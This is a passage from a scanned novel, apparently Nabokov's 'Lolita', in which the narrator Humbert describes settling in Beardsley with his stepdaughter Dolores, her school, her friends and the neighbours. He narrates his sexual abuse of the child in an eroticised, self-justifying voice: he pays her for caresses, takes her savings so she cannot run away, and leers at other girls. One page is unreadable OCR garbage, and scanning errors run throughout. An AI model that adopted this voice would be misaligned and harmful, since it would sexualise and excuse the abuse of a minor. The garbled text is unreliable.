child under fourteen, the authority of a court +does not come into play. Query: is the stepfather of a gaspingly +adorable pubescent pet, a stepfather of only one month’s +standing, a neurotic widower of mature years and small but +independent means, with the parapets of Europe, a divorce +and a few madhouses behind him, is he to be considered a +relative, and thus a natural guardian? And if not, must I, and +could I reasonably dare notify some Welfare Board and file a +petition (how do you file a petition?), and have a court’s +agent investigate meek, fishy me and dangerous Dolores Haze?' +The many books on marriage, rape, adoption and so on, that +I guiltily consulted at the public libraries of big and small +towns, told me nothing beyond darkly insinuating that the +state is the super-guardian of minor children. Pilvin and +Zapel, if I remember their names right, in an impressive vol- +ume on the legal side of marriage, completely ignored step- +fathers with motherless girls on their hands and knees. My +best friend, a social sendee monograph (Chicago, 1936), which +was dug out for me at great pains from a dusty storage recess +by an innocent old spinster, said “There is no principle that +every minor must hare a guardian; the court is passive and +enters the fray only when the child’s situation becomes con- +spicuously perilous.” A guardian, I concluded, was appointed +only when he expressed his solemn and formal desire; but +months might elapse before he was given notice to appear at +a hearing and grow his pair of gray wings, and in the meantime +the fair daemon child was legally left to her own derices which, +after all, was the case of Dolores Haze. Then came the hearing. +A few questions from the bench, a few reassuring answers from +the attorney, a smile, a nod, a light drizzle outside, and the +appointment was made. And still I dared not Keep away, be a +mouse, curl up in your hole. Courts became extravagantly ac- +tive only when there was some monetary question involved: +two greedy guardians, a robbed orphan, a third, still greedier, +party. But here all was in perfect order, an inventory' had been + +157 + + + +made, and her mother’s small property was waiting untouched +for Dolores Haze to grow up. The best policy seemed to be to +refrain from any application. Or would some busybody, some +Humane Society, butt in if I kept too quiet? + +Friend Farlow, who was a lawyer of sorts and ought to have +been able to give me some solid advice, was too much occupied +with Jean's cancer to do anything more than what he had +promised — namely, to look after Charlotte’s meager estate +while I recovered very gradually from the shock of her death. I +had conditioned him into believing Dolores was my natural +child, and so could not expect him to bother his head about +the situation. I am, as the reader must have gathered by now, a +poor businessman; but neither ignorance nor indolence should +have prevented me from seeking professional advice elsewhere. +What stopped me was the awful feeling that if I meddled with +fate in any way and tried to rationalize her fantastic gift, that +gift would be snatched away like that palace on the mountain +top in the Oriental tale which vanished whenever a prospective +owner asked its custodian how come a strip of sunset sky was +clearly visible from afar between black rock and foundation. + +I decided that at Beardsley (the site of Beardsley College for +Women) I would have access to works of reference that I had +not yet been able to study, such as Woemer's Treatise "On +the American Law of Guardianship" and certain United States +Children’s Bureau Publications. I also decided that anything +was better for Lo than the demoralizing idleness in which she +lived. I could persuade her to do so many things — their list +might stupefy a professional educator; but no matter how I +pleaded or stormed, I could never make her read any other +book than the so-called comic books or stories in magazines +for American females. Any literature a peg higher smacked to +her of school, and though theoretically willing to enjoy A +Girl of the Limbeilost or the Arabian Nights, or Little Wom- +en , she was quite sure she would not fritter away her "vaca- +tion” on such highbrow reading matter. + +I now think it was a great mistake to move east again and +have her go to that private school in Beardsley, instead of +somehow scrambling across the Mexican border while the +scrambling was good so as to lie low for a couple of years in +subtropical bliss until I could safely marry my little Creole: for +I must confess that depending on the condition of my glands +and ganglia, I could switch in the course of the same day +from one pole of insanity to the other — from the thought that +around 1950 I would have to get rid somehow of a difficult + +158. + + +have net + +eventually a ny®P who wouldbemgbt ^ indeed, *® + +Lolita the Sewn^ ^ daDS la force ^ enough to + +ssjssS-i + +sStPfw-* t— ' °s^> ? + +In the days ot tnac > t was a ridiculous ^ biblical + +•S& » w£2sK*3a« ^JESSES- *» + +Lest- 1 read and r ^dersen’s + +« at °^fS* aid ** S^’dSs* e® e ° f + +•window to he diner, or P^y ^ ^ other motor- + +hearty meal m - n g, ot silently sta ^ b lood-bespattered + +SftSS* d^gyfiKi'SSai (JESS’S + +® exart W random «► + +casions, 1 seemed Was, perhaps, go ty Would + +0{ there being f^^nce of the to some + +there, but also by *epms myself semen ^ X + +desire to get stripes *ouW ? of French at + +patterned surface ■ ™ ^J, w in the d^art™^ 1 ° ^booh in +thought ofaman 0( j enough to t0 deliver + +Beardsley Co % h "tSpted to get ^^Ihave once +his classes and had V 0 { doing so, since, few + +» tel®. iW^f these OTtaons, ^ + +Is - ta * + +which my nymphets am ^ + + + +label, a background, and a simulacrum, and, as presently will +become clear, there was a reason, a rather zany reason, why +old Gaston Godin’s company would be particularly safe. + +Finally, there was the money question. My income was +cracking under the strain of our joy-ride. True, I clung to the +cheaper motor courts; but every now and then, there would be +a loud hotel de luxe, or a pretentious dude ranch, to mutilate +•our budget; staggering sums, moreover, were expended on +• sightseeing and Lo's clothes, and the old Haze bus, although a +still vigorous and very devoted machine, necessitated numerous +minor and major repairs. In one of our strip maps that has +happened to survive among the papers which the authorities +have so kindly allowed me to use for the purpose of writing my +statement, I find some jottings that help me compute the fol- +lowing. During that extravagant year 1947-1948, August to +August, lodgings and food cost us around 5,500 dollars; gas, oil +and repairs, 1,234, and .various extras almost as much; so that +during about 150 days of actual motion (we covered about + +27.000 milesl ) plus some 200 days of interpolated standstills, +this modest rentier spent around 8,000 dollars, or better say + +10.000 because, unpractical as I am, I have surely forgotten a +number of items. + +And so we rolled East I more devastated than braced with +the satisfaction of my passion, and she glowing with health, +her bi-iliac garland still as brief as a lad’s although she had add- +ed two inches to her stature and eight pounds to hex weight. +We had been everywhere. We had really seen nothing. And I +catch myself thinking today that our long journey had only +defiled with a sinuous trail of slime the lovely, trustful, dreamy, +enormous country that by then, in retrospect, was no more +to us than a collection of dog-eared maps, ruined tour books, +old tires, and her sobs in the night — every night, every night — +the moment I feigned sleep. + + +4 + + +When through decorations of light and shade, we drove np +to 14 Thayer Street, a grave little lad met us with the keys and + +160 + + +a note from Gaston -who had rented the honse for us. My Lo, +without granting her new surroundings one glance, unseeingly +turned on the radio to which instinct led her and lay down on +the living room sofa with a hatch of old magazines which in +the same precise and blind manner she landed by dipping her +hand into the nether anatomy of a lamp table. + +I really did not mind where to dwell provided I could loch +my Lolita up somewhere; but I had, I suppose, in the course +of my correspondence with vague Gaston, vaguely visualized a +house of ivied brick. Actually the place bore a dejected resem- +blance to the Haze home (a mere 400 miles distant) : it was +the same sort of dull gray frame affair with a shingled roof and +dull green drill awnings; and the rooms, though smaller and +furnished in a more consistent plush-and-plate style, were ar- +ranged in much the same order. My study turned out to he, +however, a much larger room, lined from floor to ceiling with +some two thousand hooks on chemistry which my landlord +(on sabbatical leave for the time being) taught at Beardsley +College. + +I had hoped Beardsley School for girls, an expensive day +school, with lunch thrown in and a glamorous gymnasium, +would, while cultivating all those young bodies, provide some +formal education for their minds as well. Gaston Godin, who +wa s seldom right in his judgment of American habitus, had +warned me that the institution might turn out to be one of +those where girls are taught, as he put it with a foreigner's love +for such things: "not to spell very weB, but to smell very well." +I don’t think they achieved even that + +At my first interview with headmistress Pratt, she approved +of my child’s "nice blue eyes” (blue! Lolita!) and of my own +friendship with that "French genius’' (a genius! Gaston!) — +and then, having turned Dolly over to a bliss Cormorant, she +wrinkled her brow in a kind of recueillcment and said: + +"We are not so much concerned, Mr. Humbird, with hav- +ing our students become bookworms or be able to reel off all +the capitals of Europe which nobody knows anyway, or learn +by heart the dates of forgotten battles. What we are concerned +with is the adjustment of the child to group life. This is why +we stress the four D’s: Dramatics, Dance, Debating and Dat- +ing. Wc arc confronted by certain facts. Your delightful DoTly +will presently enter an age group where dates, dating, date +dress, date book, date etiquette, mean as much to her as say, +business, business connections, business success, mean to you, + +161 + + + +or as much as [smiling] the happiness of my girls means to +me. Dorothy Humbird is already involved in a whole system of +social life which consists, whether we like it or not, of hot-dog +stands, comer drugstores, malts and cokes, movies, square- +dancing, blanket parties On beaches, and even hair-firing par- +ties! Naturally at Beardsley School we disapprove of some of +these activities; and we rechannel others into more construc- +tive directions. But we do try to turn - our backs on the fog +and squarely face the sunshine. To put it briefly, while adopt- +ing certain teaching techniques, we are more interested in +communication than in composition. That is, with due respect +to Shakespeare and others, we want our girls to communicate +freely with the live world around them rather than plunge +into musty old books. We are still groping perhaps, but we +grope intelligently, like a gynecologist feeling a tumor. We +think. Dr. Humburg, in organismal and organizational terms. +We have done away with the mass of irrelevant topics that +have traditionally been presented to young girls, leaving no +place, in former days, for the knowledges -and the skills, and +the attitudes they will need in managing their lives and — as +the cynic might add — the lives of their husbands. Mr. Hum- +berson, let us put it this way: the position of a star is im- +portant, but the most practical spot for an icebox in the +kitchen may be even more important to the budding house- +wife. You say. that all you expect a child to obtain from school +is a sound education. But what do we mean by education? In +the old days it was in the main a verbal phenomenon; I +mean, you could have a child leam by heart a good encyclo- +pedia and he or she would know as much as or more than a +school could offer. Dr. Hummer, do you realize that for the +modem pre-adolescent child, medievd dates are of less vital +value than weekend ones [twinkle]? — to repeat a pun that I +heard the Beardsley college psychoanalyst permit herself the +other day. We live not only in a world of thoughts, but also in +a world of things. Words without experience are meaningless. +What on earth can Dorothy Hummerson care for Greece and +the Orient with their harems and slaves?” + +This program rather appalled me, but I spoke to two intel- +ligent ladies who had been connected with the school, and they +affirmed that the girls did quite a bit of sound reading and that +the “communication’' line was more or less ballyhoo aimed at, +giving old-fashioned Beardsley School a financially remunera- + +162 + + + +live modem touch, though actually it remained as prim as a +prawn. + +Another reason attracting me to that particular school may +seem funny to some readers, but it was very important to me, +for that is die way I am made. Across our street, exactly in front +of our house, there was, I noticed, a gap of weedy wasteland, +with some colorful bushes and a pile of bricks and a few scat- +tered planks, and the foam of shabby mauve and chrome +autumn roadside flowers; and through that gap you could see a +shimmery section of School Rd., running parallel to our +Thayer St, and immediately beyond that die playground of +the school. Apart from the psychological comfort this general +arrangement should afford me by keeping Dolly's day adjacent +to mine, I immediately foresaw the pleasure I would have in +distinguishing from my study-bedroom, by means of powerful +binoculars, the statistically inevitable percentage of nymphets +among the other girl children playing around Dolly during +recess; unfortunately, on the very first day of school, workmen +arrived and put up a fence some way down the gap, and in no +time a construction of tawny wood maliciously arose beyond +that fence utterly blocking my magic vista; and as soon as +they had erected a sufficient amount of material to spoil +everything, those absurd builders suspended their work and +never appeared again. + + +5 + + +Ik a. street called Thayer Street, in the residential green, fawn +and golden of a mellow academic townlet, one was bound +to have a few amiable fine-dayeis yelping at you. I prided my- +self on the exact temperature of my relations with them: never +rude, always aloof. My west-door neighbor, who might have +been a businessman or a college teacher, or both, would speak +to me once in a while as he barbered some late garden blooms +or watered his car, or, at a later date, defrosted his driveway (I +don’t mind if these verbs are all wrong), but my brief grunts, +just sufficiently articulate to sound like conventional assents or +intenogath-e pause-fillers, precluded any evolution toward + +163 + + +chumminess. Of the two houses flanking the bit of scrubby +waste opposite, one was closed, and the other contained two +professors of English, tweedy and short-haired Miss Lester and +fadedly feminine Miss Fabian, whose only subject of brief +sidewalk conversation with me was (God bless their tactl) lie +young loveliness of my daughter and the naive charm of Gas- +ton Godin. My east-door neighbor was by far the most dan- +gerous one, a sharp-nosed stock character whose late brother +had been attached to. the College as Superintendent of Build- +ings and Grounds. I remember her waylaying -Dolly, while I +stood at the living-room window, feverishly awaiting my dar- +ling's return from school. The odious spinster, trying to con- +ceal her morbid inquisitiveness under a mask of dulcet good- +will, stood leaning on her slim umbrella (the sleet had just +stopped, a cold wet sun had sidled out) , and Dolly, her brown +coaL open despite the raw weather, her structural heap of +books pressed against her stomach, her knees showing pink +above her clumsy wellingtons, a sheepish frightened little smile ' +flitting over and off her snub-nosed face, which — owing per- +haps to the pale wintry light — looked almost plain, in a rustic, +German, magdlein-like way, as she stood there and dealt with +Miss East’s questions “And where is your mother, my dear? +And what is your poor father's occupation? And where did +you live before?” Another time the loathsome creature ac- +costed me with a welcoming whine — but I evaded her; and +a few days later there came from her a note in a blue-margined +envelope, a nice mixture of poison and treacle, suggesting +Dolly come over on a Sunday and curl up in a chair to look +through the “loads ofbeautiful books my dear mother gave me +when I was a child, instead of having the radio on at full +blast till all hours of the night” + +I had also to be careful in regard to a Mrs. Holigan, a char- +woman and cook of sorts whom I had inherited with the +vacuum cleaner from the previous tenants. Dolly got lunch at +school, so that this was no trouble, and I had become adept at +providing her with a big breakfast and warming up the dinner +that Mrs. Holigan prepared before leaving. That kindly and +harmless woman had, thank God, a rather bleary eye that +missed details, and I had become a great expert in bedmaking; +but still I was continuously obsessed by the feeling that some +fatal stain had been left somewhere, or that, on the rare occa- +sions where Holigan's presence happened to coincide with +Lo’s, simple Lo might succumb to buxom sympathy in the + +164 + + + + + + + + + +water pipes. Upstairs he had a studio — he painted a little, the +old fraud. He had decorated its sloping •wall (it was really not +more than a garret) with large photographs of pensive Andr6 +Gide, Tchaikovsky, Norman Douglas, two other well-known +English writers, Nijinsky (all thighs and fig leaves), Harold D. +Doublename (a misty-eyed left-wing professor of a Midwest- +ern university) and Marcel Proust. Ah these poor people +seemed about to fall on you from their inclined plane. He +had also an album with snapshots of ah the Jackies and +Dickies of the neighborhood, and when I happened to thumb +through it and make some casual remark, Gaston would purse +his fat lips and murmur with a wistful pout “Oui, 3s sont +gentils.” His brown eyes would roam around the various +sentimental and artistic bric-a-brac present, and his own banal +toiles (the conventionally primitive eyes, sliced guitars, blue +nipples and geometrical designs of the day), and with a vague +gesture toward a painted wooden bowl or veined vase, he +would say “Pienez done one de ces poizes. La bonne dame +tTen face m’en oflte plus que je n’en peux savourer.” Or: +“Mississe TaiUe Lore vrent de me dormer ces dahlias, belles +fleurs que fexdcre.” (Somber, sad, full of world-weariness.) + +For obvious reasons, I preferred my house to his for the +games of chess we had two or three times weekly. He looked +like some old battered idol as he sat with his pudgy hands in +his lap and stared at the board as if it were a corpse. Wheezing +he would meditate for ten minutes — then make a losing move. +Or the good man, after even more thought, might utter: +Au roil with a slow old-dog woof that had a gargling sound +at the back of it which made his jowls wabble; and then he +would lift his circumflex eyebrows with a deep sigh as I +pointed out to him that he was in check himself. + +Sometimes, from where we sat in my cold study I could +hear Lo's bare feet practicing dance techniques in the living +room downstairs; but Gaston's outgoing senses were com- +fortably dulled, and he remained unaware of those naked +rhythms — and-one, and-two, and-one, and-two, weight trans- +ferred on a straight right leg, leg up out to the side, and-one, +and-two, and only when she started jumping, opening her legs +at the height of the jump, and flexing one leg, and extending +the other, and flying, and landing on her toes — only then did +my pale, pompous, morose opponent rub his head or cheek +as if confusing those distant thuds with the awful stabs of my +formidable Queen. + +166 + + + + +Sometimes Lola would slouch in while we pondered the +board — and it was every time a treat to see Gaston, his +elephant eye still fixed on his pieces, ceremoniously rise to +shake hands with her, and forthwith release her limp fingers, +and without looking once at her, descend again into his chair +to topple into the trap I had laid for him. One day around +Christmas, after I had not seen him for a fortnight or so, +he asked me “Et toutes vos GEettes, elles vont bien?” from +which it became evident to me that he had multiplied my +unique Lolita by the number of sartorial categories his down- +cast moody eye had glimpsed during a whole series of her +appearances: blue jeans, a skirt, shorts, a quilted robe. + +I am loath to dwell so long on the poor fellow I * * * * * 7 (sadly +enough, a year later, during a voyage to Europe, from which +he did not return, he got involved in a sale historic, in Naples +of all places!). I w'ould have hardly alluded to him at all had +not his Beardsley existence had such a queer bearing on my +case. I need him for my defense. There he was devoid of any +talent whatsoever, a mediocre teacher, a worthless scholar, +a glum repulsive fat old invert, highly contemptuous of the +American way of life, triumphantly ignorant of the English +language — there he was in priggish New England, crooned +over by the old and caressed by the young — oh, having a +grand time and fooling everybody; and here was I. + + +7 + + +I am now faced with the distasteful task of recording a + +definite drop in Lolita’s morals. If her share in the ardois she + +kindled had never amounted to much, neither had pure lucre + +ever come to the fore. But I was weak, I was not wise, my +school-girl nymphet had me in thrall. With the human ele- + +ment dwindling, the passion, the tenderness, and the torture +only increased; and of this she took advantage. + +Her weekly allowance, paid to her under condition she +fulfill her basic obligations, was twenty one cents at the start +of the Beardsley era — and went up to one dollar five before + +its end. This was a more than generous arrangement seeing +she constantly received from me all kinds of small presents + +167 + + + +and had for the asking any sweetmeat or movie under the +moon — although, of course, I might fondly demand an addi- +tional kiss, or even a whole collection of assorted caresses, +when I knew she coveted very badly some item of juvenile +amusement. She was, however, not easy to deal with. Only +.very listlessly did she earn her three pennies — or three nickels +—per day; and she proved to be a cruel negotiator whenever +it was in her power to deny me certain life-wrecking, strange, +slow paradisal philters without which I could not live more +than a few days in a row, and which, because of the very +nature of love’s languor, I could not obtain by force. Know- +ing the magic and might of her own soft mouth, she man- +aged — during one school yearl — to raise the bonus price of a +fancy embrace to three, and even four bucks, O Reader! Laugh +not, as you imagine me, on the very rack of joy noisily emitting +dimes and quarters, and great big silver dollars like some +sonorous, jingly and wholly demented machine vomiting +riches; and in the margin of that leaping epilepsy she would +firmly clutch a handful of coins in her little fist, which, any- - +way, I used to pry open afterwards unless she gave me the slip, +scrambling away to hide her loot. And just as every other day +I would cruise all around the school area and on comatose +feet visit drugstores, and peer into foggy lanes, and listen to +receding girl laughter in between my heart throbs and the +felling leaves, so every now and then I would burgle her +room and scrutinize tom papexs in the wastebasket with the +painted roses, and look under the pillow of the virginal bed I +had just made myself. Once I found eight one-dollar notes in +one of her books (fittingly — Treasure Island), and once a +hole in the wall behind Whistler’s Mother yielded as much as +twenty-four dollars and some change — say twenty-four sixty — • +which I quietly removed, upon which, next day, she accused, +to my face, honest Mrs.-, Holigan of being a filthy thief. +Eventually, she lived up to her I.Q. by finding a safer hoard- +ing place which I never discovered; but by that time I had +brought prices down drastically by haring her earn the hard +and nauseous way permission to participate in the school’s +theatrical program; because what I feared most was not that +she might min me, but that she might accumulate sufficient +cash to mn away. I believe the poor fierce-eyed child had +figured out that with a mere fifty dollars in her purse she +might somehow reach Broadway or Hollywood — or the foul +kitchen of a diner (Help Wanted) in a dismal ex-prairie state, + + +r + + +168 + + +t4 + + +with the wind blowing, and the stars blinking, and the cars, +and the bars, and the barmen, and everything soiled, tom, +dead- + + +8 + + +I did mt best, your Honor, to tackle the problem of boys. +Oh, I used even "to read in the Beardsley Star a so-called Col- +umn for Teens, to find out how to behavel + +A word to fathers. Don’t frighten ass-ay daughter’s friend. +Maybe it is a bit hard for you to realize that now- the boys +are finding her attractive. To you she is stall a little girl. To +the boys she’s charming and fun, lovely and gay. The}- like +her. Today you clinch big deals in an executive’s office, but +yesterday you were just high-scbool Jim carrying Jane’s +school books. Remember? Don’t you want your daughter, +now that her turn has come, to be happy in the admiration +and company of boys she likes? Don’t you want them to +have wholesome fun together? + +Wholesome fun? Good Lord! + +Why not treat the young fellows as guests in your house? +Why not make conversation with them? Draw them out, +make them laugh and feel at case? + +Welcome, fellow-, to this bordello. + +If she breaks the rules don’t explode out loud in front of +her partner in crime. Let hex take the brunt of your dis- +pleasure in private. And stop making the boys fed she's +the daughter of an old ogre. + +First of all the old ogre drew up a list under “absolutely +forbidden” and another under “reluctantly allowed." Abso- +lutely forbidden were dates, single or double or triple — the +next step being of course mass orgy. She might visit 3 candy +bat with her girl friends, and there gigglc-cbat with occasional + +169 + + + +young males, while I waited m the car at a discreet distance; +and I promised her that if her group were invited by a socially +acceptable group in Butler’s Academy for Boys for their an- +nual ball (heavily chaperoned, of course), I might consider +the question whether a girl of fourteen can don her first +"formal” (a land of gown that makes thin-armed teen-agers +look like flamingoes) . Moreover, I promised her to throw a +party at our house to which she would be allowed to invite her +prettier girl friends and the nicer boys she would have met by +that time at the Butler dance. But I was quite positive that as +long as my regime lasted she would never, never be permitted +to go with a youngster in rut to a movie, or neck in a car, +or go to boy-girl parties at the houses of schoolmates, or in- +dulge out of my earshot in boy-girl telephone conversations, +even if "only discussing his relations with a friend of mine.” + +Lo was enraged by all this — called me a lousy crook and +worse — and I would probably have lost my temper had I not +soon discovered, to my sweetest relief, that what really angered +her was my depriving her not of a specific satisfaction but of a +general right I was impinging, you see, on the conventional +program, the stock pastimes, the "things that are done,” the +routine of youth; for there is nothing more conservative than +a child, especially a girl-child, be she the most auburn and +russet, the most mythopoeic nymphet in October’s orchard- +haze. + +Do not misunderstand me. I cannot be absolutely certain +that in the course of the winter she did not manage to have, +in a casual way, improper contacts with unknown young fel- +lows; of course, no matter how closely I controlled her leisure/ +there would constantly occur unaccounted-for time leaks with +over-elaborate explanations to stop them up in retrospect; +of course, my jealousy would constantly catch its jagged claw +in the fine fabrics of nymphet falsity; but I did definitely +feel — -and can now vouchsafe for the accuracy of my feeling — +that there was no reason for serious alarm. I felt that way not +because I never once discovered any palpable hard young +throat to crush among the masculine mutes that flickered +somewhere in the background; but because it was to me "over- +whelmingly obvious” (a favorite expression with my aunt +Sybil) that all varieties of high school boys — from 'the per- +spiring nincompoop whom "holding hands” thrills, to the +self-sufficient rapist with pustules and a souped-up car — +equally bored my sophisticated young mistress. “AD this noise + +170 + + + +about boys gags, me,” she had scrawled on the inside of a +schoolbook, and underneath, in Mona’s hand (Mona is due +any minute now) /there v&s the sly c^uip- 'What about Rig- + +ger?” (due too). , - + +Faceless, then, are the' chappies I happened to see in her +company. There was for instance Red Sweater who one day, +the day we had the first snow — saw her home; from the parlor +window I observed them talking near our porch. She wore +her first cloth coat with a fur collar; there was a small brown +cap on my favorite hairdo — the fringe in front and the swirl +at the sides and the natural curls at the back — and her damp- +dark moccasins and white socks were more sloppy than ever. +She pressed as usual her books to her chest while speaking or +listening, and her feet gestured all the time: she would stand +on her left instep with her right toe, remove it backward, +cross her feet, rock slightly, sketch a few steps, and then start +the series all over again. There was Windbreaker who talked +to her in front of a restaurant one Sunday afternoon while his +mother and sister attempted to walk me away for a chat; +I dragged along and looked back at my only love. She had +developed more than one conventional mannerism, such as +the polite adolescent way of showing one is literally "doubled +up” with laughter by inclining one’s head, and so (as she +sensed my call), still feigning helpless merriment, she walked +backward a couple of steps, and then faced about, and walked +toward me with a fading smile. On the other hand, I greatly +liked — perhaps because it reminded me of her first unfor- +gettable confession — her trick of sighing "oh dear!” in humor- +ous wistful submission to fate, or emitting a long "no-o” in a +deep almost growling undertone when the blow r of fate had +actually fallen. Above ah — since we are speaking of movement +and youth — I liked to see her spinning up and down Thayer +Street on hex beautiful young bicycle: rising on the pedals +to work on them lustily, then sinking back in languid posture +while the speed wore itself oft; and then she would stop at our +mailbox and, still astride, would Sip through a magazine she +found there, and put it back, and press her tongue to one side +of her uppcrlip and push off with her foot, and again sprint +through pale shade and sun. + +On the whole she seemed to me better adapted to her sur- +roundings than I had hoped she would be when considering +my spoiled slave-child and tire ban ales of demeanoT she naivelv +affected the winter before in California. Although I could + +171 + + + +never get used to the constant state of anxiety in which the +guilty, the great, the tenderhearted live, I felt I was doing +my test in the way of mimicry. As I lay on my narrow studio +bed after a session of adoration and despair in Lolita’s cold +bedroom, I used to review the concluded day by checking +my own image as_ it prowled rather than passed before the +mind's red eye. I watched dark-and-handsome, not un-Celtic, +probably high-church, possibly very high-church. Dr. Hum- +bert see his daughter off to school. I watched him greet with +his slow smile and pleasantly arched thick black ad-eyebrows +good Mrs. Holigan, who smelled of the plague (and would +head, I knew, for masted s gin at the first opportunity) . With +Mr. West, retired executioner or writer of religious tracts — +who cared? — I saw neighbor what’s his name, I think they are +French or Swiss, meditate in his frank-windowed study over +a typewriter, rather gaunt-profiled, an almost Hitlerian cow- +lick on his pale brow. Weekends, wearing a well-tailored over- +coat and brown gloves, Professor H. might be seen with his +daughter strolling to Walton Inn (famous for its violet- +ribboned china bunnies and chocolate boxes among which you +sit and wait for a “table for two” still filthy with your pred- +ecessor’s crumbs). Seen on weekdays, around one p.ml, +saluting with dignity Arguseyed East while maneuvering the +car out of the garage and around the damned evergreens, and +down onto the slippery road. Raising a cold eye from book to +clock in the positively sultry Beardsley College library, among +bulky young women caught and petrified in the overflow’ of +human knowledge. Walking across the campus with the col- +lege clergyman, the Rev. Rigger (who also taught Bible in +Beardsley School). “Somebody told me her mother was a +celebrated actress killed in an airplane accident. Oh? My +mistake, I presume. Is that so? I see. How sad.” (Sublimating +her mother, eh7) Slowly pushing my little pram through the +labyrinth of the supermarket, in the wake of Professor W., +also a slow-moving and gentle widower with the eyes of a +goat Shoveling the snow in my shirt-sleeves, a voluminous +black and white’ muffler around my neck. Following with no +show' of rapacious haste (even taking time to wipe my feet on +the mat) my school-girl daughter into the house. Takmg +Dolly to the dentist — pretty nurse beaming at her — old maga- +zines — ne montrez pas vos zhambes. At dinner with Dolly in +town, Mr. Edgar H. Humbert was seen eating his steak in +the continental knife-and-fork manner. Enjoying, in duplicate, + +172 + + +a concert: two marble-faced, becalmed Frencbmen sitting side +by side, with Monsieur H. H.’s musical little girl on her +father’s right, and the musical little boy pf Professor W. +(father spending a hygienic evening in Providence) on Mon- +sieur G. G.’s left Opening the garage, a square of light that +engulfs the car and is extinguished. Brightly pajamaed, Jerk- +ing down the window shade in Dolly's bedroom. Saturday +morning, unseen, solemnly weighing the winter-bleached lassie +in the bathroom. Seen and heard Sunday morning, no church- +goer after all, saying don’t be too late, to DoBy who is bound +for the covered court Letting in a queerly observant school- +mate of Dolly's: “First time I’ve seen a man wearing a smok- +ing jacket sir — except in movies, of course.” + + + +Her girl friends, whom I had looked forward to meet +proved on the whole disappointing. There was Opal Some- +thing, and Linda Hall, and Avis Chapman, and Eva Rosen, +and Mona Dahl (save one, aB these names are approximations, +of course). Opal was a bashful, formless, bespectacled, be- +pimpled creature who doted on DoBy who buBied her. With +Linda Han the school tennis champion, Dolly played singles +at least twice a week: I suspect Linda was a true nymphet +but for some unknown reason she did not come — was per- +haps not allowed to come — to our house; so I recaH her only +as a flash of natural sunshine on an indoor court. Of the rest, +none had any claims to nymphetry except Eva Rosen. Avis +Tins a plump lateral child with hairy legs, while Mona, though +handsome in a coarse sensual way and only a year older than +mv aging mistress, had obviously long ceased to he a nymphet, +if she ever had been one. Eva Rosen, a displaced little person +from France, was on the other hand a good example of a not +strikingly beautiful child revealing to the perspicacious ama- +teur some of the basic elements of nymphet charm, such as +a perfect pubescent figure and lingering eyes and high cheek- +bones. Her glossy copper hair had Lolita’s sBkiness, and the +features of her delicate mflkv-white face with pink lips and +nlvcrfch eyelashes were less foxy than those of her likes— + +173 + + + +the. great clan of intra-racial redheads; nor did she sport their +green uniform but wore, as I remember her, a lot of black or +cherry. dark— a very smart black pullover, for instance, and +high-heeled black shoes, and gamet-red fingernail polish. I +spoke French to her (much to Lo’s disgust). The child's +tonalities were still admirably pure, but for school words and +play words she resorted to current American and then a slight +Brooklyn accent would crop up in her speech, which was +amusing in a little Parisian who went to a select New England +school with phoney British aspirations. Unfortunately, despite +"that French kid’s uncle” being "a millionaire,” Lo dropped +Eva for some reason before I had had time to enjoy in my +modest way her fragrant presence in the Humbert open +house. The reader knows what importance I attached to hav- +ing a bevy of page girls, consolation prize nymphets, around +my Lolita. For .a while, I endeavored to interest my senses +in Mona Dahl who was a good deal around, especially during +the spring term when Lo and she got so enthusiastic about +dramatics. I have often wondered what secrets outrageously +treacherous Dolores Haze had imparted to Mona while blurt- +ing out to me by urgent and well-paid request various really +incredible details concerning an affair that Mona had had +with a marine at the seaside. It was characteristic of Lo that +she chose for her closest chum that elegant, cold, lascivious, +experienced young female whom I once heard (misheard, Lo +swore) cheerfully say in the hallway to Lo — who had re- +marked that her (Lo’s) sweater was of virgin wool: "The only +thing about you that is, kiddo . . .” She had a curiously husky +voice, artificially waved dull dark hair, earrings, amber-brown +prominent eyes and luscious lips. Lo said teachers had remon- +strated with her on her loading herself with so much costume +jewelry. Her hands trembled. She was burdened with a 150 +I.Q. And I also knew she had a tremendous chocolate-brown +mole on her womanish back which I inspected the night Lo +and she had worn low-cut pastel-colored, vaporous dresses for +a dance at the Butler Academy. + +I am anticipating a little, but I cannot help running my +memory all over the keyboard of that school year. In meeting +my attempts to find out what kind of boys Lo knew. Miss +Dahl was elegantly evasive. Lo, who had gone to play tennis +at Linda’s country club had telephoned she might be a full half +hour late, and so, would I entertain Mona who was coming +to practice with her a scene from The Taming of the Shrew. + +174 + + +Using all the modulations, all the allure of manner and voice +she was capable of and staring at me with perhaps — could I +be mistaken? — a faint gleam of crystalline irony, beautiful +Mona replied: "Well, sir, the fact is Dolly is not much con- +cerned with mere boys. Fact is, we are rivals. She and I have +a crush on the Reverend Rigger.” (This was a joke I have +already mentioned that gloomy giant of a man, with the jaw +of a horse: he was to bore me to near murder with his im- +pressions of Switzerland at a tea party for parents that I am +unable to place correctly in terms of time.) + +How had the ball been? Oh, it had been a riot A what? A +panic. Terrific, in a word. Had Lo danced a lot? Oh, not a +frightful lot, just as much as she could stand. What did she, +languorous Mona, think of Lo? Sir? Did she think Lo was +doing well at school? Gosh, she certainly was quite a kid. But +her general behavior was — ? Oh, she was a swell kid. But +still? ‘‘Oh, she’s a doll,” concluded Mona, and sighed abruptly, +and picked up a book that happened to lie at hand, and with +a change of expression, falsely furrowing her brow, inquired: +“Do tell me about Ball Zack, sir. Is he really that good?” She +moved up so dose to my chair that I made out through lotions +and creams her uninteresting skin scent A sudden odd thought +slabbed me: was my Lo playing the pimp? If so, she had found +the wrong substitute. Avoiding Mona’s cool gaze, I talked +literature for a minute. Then Dolly arrived — and slit her pale +eyes at us. I left the two friends to their own devices. One of +the latticed squares in a small cobwebby casement window +at the turn of the staircase was glazed with ruby, and that +raw wound among the unstained rectangles and its asymmetri- +cal position — a knight’s move from the top — always strangely +disturbed me. + + +10 + +SoMrmrEs . . . Come on, how often exaetty, Bert? Can you +recall four, five, more such occasions? Or would no human +icart have survived two or three? Sometimes (I have nothing +to say m reply to your question), while Lolita would be hap- +^arcUy preparing her homework, sucking a pencil, lolling + +175 + + + +sideways in an easy chair with both legs over its arm, I would +shed all my pedagogic restraint, dismiss all our quarrels, forget +all my masculine pride — and literally crawl on my knees to +your chair, my Lolita! You would give me one look — a gray +furry .question mark of a look: “Oh no, not again” (incredulity, +exasperation); for you never deigned to believe that I could, +without any specific designs, ever crave to bury my face in your +plaid skirt, my darling! The fragility of those bare arms of +yours — how I longed to enfold them, all your four limpid love- +ly limbs, a folded colt, and take your head between my un- +worthy hands, and pull the temple skin back on both sides, +and kiss your chinesed eyes, and — 'Tulease, leave me alone, +will you,” you would say, “for Christ’s sake leave 